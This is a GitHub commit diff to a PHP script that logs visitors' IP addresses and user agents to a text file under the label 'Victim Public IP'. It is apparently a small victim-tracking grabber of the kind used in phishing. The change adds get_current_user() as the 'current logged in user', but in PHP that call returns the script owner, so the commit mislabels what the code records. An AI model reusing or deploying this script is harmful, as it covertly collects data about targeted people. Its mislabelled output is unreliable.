Get current logged in username

This commit is contained in:
Usama Abdul Sattar 2018-12-08 10:31:22 +05:00 committed by GitHub
parent c0e775b088
commit 2c9c11a470
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23

View File

@ -12,18 +12,23 @@ else
{
$ipaddress = $_SERVER['REMOTE_ADDR']."\r\n";
}
$useragent = " User-Agent: ";
$browser = $_SERVER['HTTP_USER_AGENT'];
$browser = $_SERVER['HTTP_USER_AGENT'];
$useragent = " User-Agent: " . $browser;
$user = get_current_user();
$file = 'ip.txt'; //this is the file to which the IP address will be written; name it your way.
$victim = "Victim Public IP: ";
$currentuser = "\r\n" . "\r\n" . "Current logged in user: " . $user;
$fp = fopen($file, 'a');
fwrite($fp, $victim);
fwrite($fp, $ipaddress);
fwrite($fp, $useragent);
fwrite($fp, $browser);
fwrite($fp, $currentuser);
fclose($fp);